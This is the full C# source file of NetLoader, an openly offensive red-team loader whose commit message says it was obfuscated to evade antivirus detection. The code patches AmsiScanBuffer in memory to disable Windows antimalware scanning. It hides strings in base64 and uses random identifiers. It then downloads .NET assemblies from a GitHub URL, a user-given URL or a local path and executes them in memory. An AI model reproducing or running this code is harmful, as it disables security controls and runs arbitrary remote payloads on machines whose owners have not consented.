Files
Flangvik-NetLoader/Source/Program.cs
T
Flangvik a570f4812c ReFud.
Ended up writing a tiny C# code obfuscator, hopefully a step closer to automatic re-fud
2020-06-03 01:10:36 +02:00

223 lines
9.7 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class xorimgplghusk{
private static WebClient qoxkbdjujvgvjm = new WebClient() { };
[DllImport("ker" +"nel" + "32")]
private static extern IntPtr GetProcAddress(IntPtr cnttrrp, string eduqlksc);
[DllImport("ker" +"nel" + "32")]
private static extern IntPtr LoadLibrary(string tjne);
[DllImport("ker" +"nel" + "32")]
private static extern bool VirtualProtect(IntPtr aafqwlmfk, UIntPtr byalip, uint hbdpfwgtapjd, out uint aevexbxohxxxhe);
private static void fsnuhafso(byte[] xaznuhjef, IntPtr halbpuufaftund, int squatwlzs = 0)
{
Marshal.Copy(xaznuhjef, squatwlzs, halbpuufaftund, xaznuhjef.Length);
}
public static byte[] FetchMe(string ina){
return qoxkbdjujvgvjm.DownloadData(ina);
}
private static void tipuhkzlzzxke(MethodInfo ledfuecvkaqt, object[] ihtheami = null ){
//ledfuecvkaqt.Invoke(null, new object[] { new string[] { kfhhhitjx } });
ledfuecvkaqt.Invoke(0, ihtheami);
}
public static void ynrzrkslcvdgbuu(string wkmhvsr, string kfhhhitjx = "", string gxzhqhuii = "", bool cljpzosrsyd = true)
{ var lwyxgocoh = new object[] { new string[] { kfhhhitjx } };
if (!cljpzosrsyd)
{
if (!gxzhqhuii.StartsWith("http"))
{
tipuhkzlzzxke(rjqkdzg(Assembly.Load(File.ReadAllBytes(gxzhqhuii))),lwyxgocoh);
}
else
{
tipuhkzlzzxke(rjqkdzg(Assembly.Load(FetchMe(gxzhqhuii))),lwyxgocoh);
}
}
else
{
tipuhkzlzzxke(rjqkdzg(Assembly.Load(FetchMe(Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0ZsYW5ndmlrL05ldExvYWRlci90cmVlL21hc3Rlci9CaW5hcmllcw==")).Replace("tree", "blob") + "/" + wkmhvsr + "?raw=true"))),lwyxgocoh);
}
}
private static List<string> GetBins()
{
var uyaoawtawr = new List<string>() { };
var cynepigdwcmcn = qoxkbdjujvgvjm.DownloadString(Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0ZsYW5ndmlrL05ldExvYWRlci90cmVlL21hc3Rlci9CaW5hcmllcw==")));
Regex htb = new Regex(@"\/[A-Za-z]{0,50}\.bin", RegexOptions.IgnoreCase);
foreach (var match in htb.Matches(cynepigdwcmcn))
{
uyaoawtawr.Add(match.ToString().TrimStart('/'));
}
return uyaoawtawr;
}
public static void Main(string[] args)
{
Console.WriteLine("[!] ~Flangvik #NetLoader");
slnduvcrnmilep();
while (true)
{
try
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
if (args.Length == 0)
{
List<string> zwqqubc = GetBins();
Console.WriteLine("[+] Select a binary (number)>");
Console.WriteLine("------------------------");
Console.WriteLine("[0] - Exit NetLoader");
for (int pgpbnhvhirznt = 0; pgpbnhvhirznt < zwqqubc.Count; pgpbnhvhirznt++)
{
Console.WriteLine("[" + (pgpbnhvhirznt + 1) + "] - " + zwqqubc[pgpbnhvhirznt]);
if (pgpbnhvhirznt == zwqqubc.Count - 1)
{
Console.WriteLine("[" + (pgpbnhvhirznt + 2) + "] - Custom PATH or URL ");
}
}
Console.WriteLine("-----------------------");
var hwbfedhi = Console.ReadLine();
if (Convert.ToInt32(hwbfedhi) == 0)
{
System.Environment.Exit(1);
}
else if (Convert.ToInt32(hwbfedhi) - 1 == zwqqubc.Count)
{
Console.WriteLine("[+] Input your own URL / Local Path / direct link to binary");
string kckovd = Console.ReadLine();
Console.WriteLine("[+] Provide kfhhhitjx for {0} >", kckovd);
string somfify = Console.ReadLine();
ynrzrkslcvdgbuu("", somfify, kckovd, false);
}
else if (Convert.ToInt32(hwbfedhi) - 1 > zwqqubc.Count | Convert.ToInt32(hwbfedhi) - 1 < 0)
{
Console.WriteLine("[!] Bad Input, sry!");
}
else
{
Console.WriteLine("[+] Provide kfhhhitjx for {0} >", zwqqubc[Convert.ToInt32(hwbfedhi) - 1]);
string somfify = Console.ReadLine();
ynrzrkslcvdgbuu(zwqqubc[Convert.ToInt32(hwbfedhi) - 1], somfify);
}
}
else
{
string zfthxcydvlm = "";
string ruufdfmsedt = "";
bool wmrhvcieyndf = false;
foreach (var argument in args)
{
if (argument.ToLower().Contains("path"))
{
var jfjcrte = Array.IndexOf(args, argument) + 1;
if (jfjcrte < args.Length)
{
var osasrlezkr = args[Array.IndexOf(args, argument) + 1];
if (wmrhvcieyndf)
zfthxcydvlm = Encoding.UTF8.GetString(Convert.FromBase64String(osasrlezkr));
else
zfthxcydvlm = osasrlezkr;
}
}
if (argument.ToLower().Contains("b64"))
wmrhvcieyndf = true;
if (argument.ToLower().Contains("args"))
{
var jfjcrte = Array.IndexOf(args, argument) + 1;
if (jfjcrte < args.Length)
{
var osasrlezkrArgs = args[Array.IndexOf(args, argument) + 1];
if (wmrhvcieyndf)
ruufdfmsedt = Encoding.UTF8.GetString(Convert.FromBase64String(osasrlezkrArgs));
else
ruufdfmsedt = osasrlezkrArgs;
}
}
}
if (args.Length == 1 && string.IsNullOrEmpty(ruufdfmsedt) && string.IsNullOrEmpty(zfthxcydvlm) && !wmrhvcieyndf)
{
zfthxcydvlm = args[0];
}
if (args.Length == 2 && string.IsNullOrEmpty(ruufdfmsedt) && string.IsNullOrEmpty(zfthxcydvlm) && !wmrhvcieyndf)
{
ruufdfmsedt = args[1];
zfthxcydvlm = args[0];
}
if (args.Length == 3 && string.IsNullOrEmpty(ruufdfmsedt) && string.IsNullOrEmpty(zfthxcydvlm) && wmrhvcieyndf)
{
zfthxcydvlm = Encoding.UTF8.GetString(Convert.FromBase64String(args[1]));
ruufdfmsedt = Encoding.UTF8.GetString(Convert.FromBase64String(args[2]));
}
if (args.Length == 2 && wmrhvcieyndf)
{
if (!string.IsNullOrEmpty(args[1]))
zfthxcydvlm = Encoding.UTF8.GetString(Convert.FromBase64String(args[1]));
}
if (!string.IsNullOrEmpty(zfthxcydvlm))
{
Console.WriteLine("[+] Starting {0} with args {1}", zfthxcydvlm, ruufdfmsedt);
ynrzrkslcvdgbuu("", ruufdfmsedt, zfthxcydvlm, false);
Environment.Exit(0);
}
Environment.Exit(0);
}
}
catch (Exception ex)
{
Console.WriteLine("[!] Damn, it failed, to bad");
Console.WriteLine("[!] {0}", ex.Message);
Environment.Exit(0);
}
}
}
private static void slnduvcrnmilep(bool jqgevq = false)
{
try
{
var ntewtz = LoadLibrary(Encoding.UTF8.GetString(Convert.FromBase64String("YW1zaS5kbGw=")));
IntPtr poza = GetProcAddress(ntewtz, Encoding.UTF8.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI=")));
uint ujgmnptptxdijei = 0x40;
uint hdrqslsvyj = 0;
if (System.Environment.Is64BitOperatingSystem)
{
var awzxcizepow = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(poza, (UIntPtr)awzxcizepow.Length, ujgmnptptxdijei, out hdrqslsvyj);
fsnuhafso(awzxcizepow, poza);
}
else
{
var xkpwjxovxekzo = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
VirtualProtect(poza, (UIntPtr)xkpwjxovxekzo.Length, ujgmnptptxdijei, out hdrqslsvyj);
fsnuhafso(xkpwjxovxekzo, poza);
}
Console.WriteLine("[+] Patched!");
}
catch (Exception ex)
{
Console.WriteLine("[!] {0}", ex.Message);
}
}
private static MethodInfo rjqkdzg(Assembly mbo)
{
if(1 == 1)
return mbo.EntryPoint;
return null;
}
/*
//This is for MSBuild later
public class ClassExample : Task, ITask
{
public override bool Execute()
{
xorimgplghusk.Main(new string[] { });
return true;
}
}
*/
}